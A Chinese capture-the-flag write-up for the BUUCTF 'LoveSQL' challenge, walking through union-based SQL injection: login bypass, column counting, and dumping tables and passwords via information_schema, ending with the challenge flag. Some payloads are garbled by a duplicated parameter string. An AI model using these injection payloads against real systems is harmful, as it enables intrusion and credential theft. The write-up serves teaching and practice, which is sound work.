【Buuctf】[极客大挑战 2019]LoveSQL WriteUp

题目

【Buuctf】[极客大挑战 2019]LoveSQL


解题

一.判断注入类型

  1. 输入 username=1‘&password=2

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

发现报错的地方是password部分,报错内容是2‘

  1. 输入 username=1&password=2‘

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

报错内容是2‘

由此可以推断出应该使用字符型注入。

个人推测

以下内容是个人的想法,若有误,欢迎指出。

当输入的参数 x 为整型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where password = x
所以当输入2‘时,得到的报错应该是" ‘ ",因为输入的数字是合法的,不合法的是后面的‘。

当输入的参数 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where password = ‘x‘
所以当输入2‘时,得到的报错应该是" 2‘ ",因为输入的‘导致出现了3个‘,前两个引号直接是空,直接返回输入的内容不合法。

二.闭合SQL语句,实现登录

输入 username=1&password=2‘ or 1=‘1‘ %23

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

三.爆字段

输入 username=1&password=2‘ or 1=‘1‘ order by 100 %23

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

这里采用的是二分法找字段数,先选择100(一般一个服务器不会达到100个字段)。

依次改成50,25,13,7,4,均显示Unknown column ‘x‘ in ‘order clause‘

当改成2时,显示正常登录。

因此,服务器的字段数在2或者3之间。输入3,显示正常。

则得到字段=3。

补充

字段指的是一张表的列。

爆字段是为了使用union语句,而union语句的要求就是查询的两个select语句列数要相同。

使用order by x 查询的是列数。

这里,我们爆的是用户登录信息所在的这个表的字段。

例如一张user表:

user_id name password
1 Jack 123
2 Mike 456
3 Tom 789

其中,user_id列,name列,password列均是这张表的字段,这张表列数为3,则字段为3。

四.查看回显

输入 username=1&password=2‘ union select 1,2,3 %23

得到了两个回显点,显示的是2和3,证明该表的2,3字段可查。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

补充

想要显示我们需要的信息,可以将当前的查询结果置空,即判断条件改成false(让页面出错,加上联合查询的方式寻找回显点)。

联合注入是需要显示结果的,这里所使用的东西就名为回显点。

回显点就是 SQL 查询结果显示在页面上位置,有回显点的 SQL 注入叫做回显点注入。

一篇文章的标题、作者、时间、内容等等,这些都可能成为回显点。

五.爆数据库

输入 username=1&password=username=1&password=2‘ union select 1,database(),3 %23

得到了数据库的名字:geek。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

六.爆表

输入 username=1&password=username=1&password=2‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘,3 %23

我们在查询2字段时,报错。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

换成3字段。

输入 username=1&password=username=1&password=2‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘ %23

查询到geek库有两张表,分别是geekuser和l0ve1ysq1。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

补充

username=1&password=username=1&password=2‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘,3 %23 中,最后的table_schema=‘geek‘可以改为table_schema=database() 。

MySQL 中存储所有数据库名、所有表名、所有字段名的系统数据库叫 information_schema,这是在 MySQL 数据库初始化就存在的系统库。

库里存储数据库名、表名、字段名的表分别为 schemata、tables、columns(原始表名为大写,但小写也能取到数据)。

表名 关键字段
schemata schema_name [数据库名]
tables table_schema [数据库名],table_name [表名]
columns table_schema [数据库名],table_name [表名],column_name [列名]

这里有个存疑,为什么这里2字段没办法查了,得换成3字段。

七.爆字段

输入 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser‘ %23
以及 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1‘ %23

得到两张表的字段均为id,username,password。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

补充

如果输入的是 username=1&password=2‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘geek‘ %23

得到的会是两个表所有的字段。

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

八.爆内容

查geekuser表

输入 username=1&password=2‘ union select 1,2,group_concat(id,username,password) from geekuser %23

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

没有得到想要的,换l0ve1ysq1表。

输入 username=1&password=2‘ union select 1,2,group_concat(id,username,password) from l0ve1ysq1 %23

显示的数据太长,发现flag在password的部分,再查一次。

输入 username=1&password=2‘ union select 1,2,group_concat(password) from l0ve1ysq1 %23

【Buuctf】[极客大挑战 2019]LoveSQL  WriteUp

得到flag:flag{161ce1aa-45b5-4502-93e2-0d82d27e8714}


将MySQL数据库连根拔起流程

元数据库 -> 数据库列表 -> 表列表 -> 字段列表 -> 表内容

【Buuctf】[极客大挑战 2019]LoveSQL WriteUp

上一篇:《jQuery、jQuery UI及jQuery Mobile技巧与示例》——3.11 技巧:使用clone()复制元素


下一篇:JavaMail:创建内含附件、图文并茂的邮件